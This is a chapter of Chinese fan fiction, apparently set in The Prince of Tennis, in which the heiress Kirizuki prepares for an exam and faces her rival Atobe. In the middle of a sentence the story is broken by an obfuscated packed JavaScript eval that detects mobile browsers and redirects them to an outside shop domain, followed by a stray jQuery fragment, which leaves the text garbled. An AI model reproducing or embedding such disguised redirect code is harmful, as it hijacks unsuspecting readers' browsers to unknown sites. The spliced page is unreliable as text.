接下来的几天,桐月开始了“沉浸式内卷”。
说是“卷”,其实她一没熬夜苦读到凌晨,二没有把自己埋在题海,这些都太不优雅了。况且她学东西向来不是靠堆时间,精准和高效才是她所追求的学习准则。
她的做法是把每天的时间切得更细,争取在每个空隙里都塞进一道题的思考时间。课间五分钟,一道选择题;午休等餐的空隙,一道填空题;放学回家的路上,再思考一道大题的思路。
为了专心备考,她连平时最爱看的美食吃播视频都先停了。那东西本来就是她“望梅止渴”用的,反正淑女得体的藤原家继承人是不可能在众目睽睽之下胡吃海塞,更何况她还要维持体重和形态。
其认真程度,不仅让懒懒散散的哥哥悠真大呼震惊,就连远在神奈川的加奈因着桐月忙于学习没和她联系,都发来消息询问:“就是个开学考,有必要这么认真吗?”
当然有必要!
她从来不是甘居人下的性格,以前在立海大稳居榜首,来了冰帝之后却被迹部压了一头,这份落差,她是半点都忍不了!
当然,加奈又再次打趣她的“绯闻”这就没必要提了。
反正是假的,过了这段时间就好了。等大家新鲜感褪去,这些荒唐的流言自然会慢慢消散。
虽然对被误会的“乌龙告白事件”感到无奈,之前也曾和加奈口嗨要在他脸上“画乌龟”,但其实桐月本人对迹部倒也没那么大的恶感。
只不过,真正让她改观的,是前几天的事。
那天晚饭餐桌上,姨妈随口提起往事,语气带着几分心疼。
“崇弘这孩子三岁的时候就跟着我们去了英国,幼儿园和小学都是在英国上的。他黑头发黄皮肤,站在一堆外国小孩里格外扎眼,那群调皮的孩子总抢他的绘本,还故意推倒他,就为看他手足无措憋红眼眶的样子。他性子闷,受了委屈也从不敢回家说,我们也是很久之后才知道。”
桐月涩然,握着瓷质汤勺的手指微微收紧。
“那天我正好去学校接他,远远看见几个男孩围着他推搡,迹部正好路过,直接冲上去把崇弘护在身前,明明年纪也不大,气场却压住了在场所有人,震的那群小孩不敢再动手。”
姨妈笑着感慨:“也是从那天起,迹部走到哪崇弘就走到哪,这么多年从来没变过。”
桐月听完没有接话,但是墨绿色的发带却无意识地在指尖绕了一圈又一圈。原来不是他使唤桦地,是桦地自己想跟着他。日常小事最见本心,迹部这人看着张扬高傲,但骨子里人品倒是很正。
好吧,那他人还不错,但,要是不挡着她拿年级第一,那就更好了,桐月心想。
她坦然承认迹部的优秀,却绝不会因此认输。她这股不服输的劲头从来都不仅仅是爱面子,而是自小到大养成的习惯。
旁人只看到她是光鲜亮丽的藤原家大小姐,可没人知道她背后的压力。哥哥藤原悠真天生性格散漫,完全没有经商的本事,也完全没有接手家族产业的心思。可藤原家庞大的家产摆在那,平时一团和气、亲亲热热的旁支,实则各怀心思,一旦有利可图,就会如同饿狼一般扑上来瓜分主家的产业。
她是主家的大小姐,也是藤原家的继承人,如果表现平庸、性情软弱,迟早会被旁支慢慢拿捏,而他们主家的根基也会一点点被掏空。
她记得很清楚。那是新年第一天,按照藤原家多年不变的惯例,所有的本家和旁支都要回到老宅参加家宴。她穿了一身名家绘制的樱纹大振袖,和服很美,但她的心情很糟糕,因为刚收到一个奥数竞赛的成绩单,分数不太理想。
一位旁支长辈端着酒杯,挂着笑容跟她父母寒暄,当得知她为什么不高兴的时候,他用一种“我是为你好”的语气说:“桐月啊,女孩子不用这么要强的,学点艺术、练练礼仪,将来嫁个好男人多好?继承家业的事,还是得靠男孩子。”
那句话,像一根细小的刺,扎了她很多年。
凭什么?
凭什么女孩子的努力不值一提?凭什么女孩子要强就是格格不入?凭什么女孩子的价值,只能是被装扮成花瓶,充当待价而沽的联姻筹码?凭什么她们的想法、她们的野心、她的理想,从头到尾都不被人重视?
后来她参加钢琴比赛拿了一等奖、期末考试拿了年级第一……
她以为自己早已释怀,早就忘记了那句轻飘飘的定论,可每当她马上要输掉的时候、马上要放弃的时候,那副讥诮的面容和假惺惺的话语就会浮现在脑海,推着她继续、坚定地向前走。
所以她从不否认迹部的优秀。不过,对手越强,她的斗志越足。
窗外的夜色更浓了,庭院石灯晕开暖融融的光,晚风轻轻吹动少女的发丝,桐月收回了纷杂的思绪,安静收拾书桌。
习题册在桌边对齐码好,笔具收进皮质笔盒,草稿纸也整理好放进抽屉,桌面收拾得干干净净。她向来习惯凡事条理清晰,学习亦是。
收拾完,她倚在窗边,望着无边的夜色和漫天的繁星,连日紧绷的心慢慢静了下来。
迹部再厉害又如何,这次开学考的第一名,她志在必得!
--------------------------------------------------
翌日清晨,一辆黑色的宾利已经安静地停在藤原宅邸门口。
身穿深色制服的司机早早候在门前,正低头看了眼手表,七点半了。
桐月走了出来,她穿着一身熨烫得服贴的冰帝制服,卡其色的裙摆刚好及膝,领结系得端正,乌黑的长发被墨绿色的发带束成马尾,风一吹发带轻轻飘扬。
“大小姐,早上好。”司机快步迎上前,拉开车门,“请上车。”
“早上好。”桐月微微颔首,弯腰坐进车内。
坐稳后,她将书包放在身侧,顺手抚平裙摆上的褶皱,动作优雅而自然。
司机发动引擎,车子缓缓驶出大门,沿着两旁栽满梧桐树的道路平稳前行。
桐月轻轻闭眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753526|209460||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
养神,脑海中把自己整理的最后几道易错题的要点又在脑子里默默过了一遍。
·
车子在冰帝学园的大门外缓缓停下。
桐月透过车窗看了一眼校门口,比往常还要热闹几分。让桐月有点意外的是,虽然是名门云集的私立贵族学校,但冰帝的学习风气倒是很浓厚。学校门口有人拎着书包匆匆往里赶,有人边走边翻笔记,还有人三五成群地围在一起讨论题目。
桐月提起书包,正准备推开车门的时候,忽然听到周围传来一阵骚动。
“来了来了!”
桐月下意识地顺着骚动的来源看去,只见一辆高调的劳斯莱斯幻影正沿着道路驶来,车身在阳光下反射着夺目的光泽。
车子在校门口正中间停下。穿着制服的司机,站在车门旁边,微微躬身。
然后,一双锃亮的棕色皮鞋踏了出来。
迹部从车上走下来。
他抬手整理了一下袖口,目光漫不经心地扫过周围的人群。
在周围狂热的目光中,他抬起手,打了一个响指。
“啪。”
桐月:“……”她在车里默默地看着这一幕,嘴角忍不住抽了一下。
“每次都是这套……”她在心里嘀咕了一句,然后推开车门走了下去。
她尽量让自己不那么引人注目。幸运的是,迹部的排场太招摇了,以至于校门口几乎所有人的目光都集中在他身上。
她暗自松了口气,走进了教学楼。
考场安排在第三教学楼。桐月顺着走廊走到公告栏前,那里贴着一张考场分布图。她扫了一眼,找到了自己的名字。
“藤原桐月,第1考场,座号16。”她默默记下,转身朝考场走去。
作为考场的教室在教学楼的拐角处,桐月走到门口时,门已经开了,桌子也已经提前被重新排列过,每张桌子右上角上都贴着考号。她一排一排地找过去,终于在最靠里的那一列找到了自己的座位。
就是这里了,桐月放下书包,低头清点文具往桌面摆放。
脚步声不紧不慢从身后传来,她下意识抬眼。
迹部慢悠悠踏入考场,只见他单手拎着书包,姿态散漫又矜贵,径直在隔了两列的位置落座。
刚一坐下,便好像有感应般转头,视线精准对上桐月的目光。
四目相对一瞬。
迹部眉梢轻挑,眼底带着几分惯有的傲气。
桐月没有移开视线,看什么看,我又不会被你吓到。
迹部看着她那副毫不退让的模样,嘴角微微勾起一个弧度。他没有说话,只是轻轻抬起下巴,像是无声地说了一句:“不错嘛。”
然后他转了回去,随手将书包放在桌边,从里面抽出一支笔。
广播声准时响起,通知全体考生就位,监考老师抱着一摞试卷来到了教室门口。
桐月握紧手中文具袋,腰背挺直,目光定定地落在桌面。
她和迹部的较量,现在正式拉开序幕了。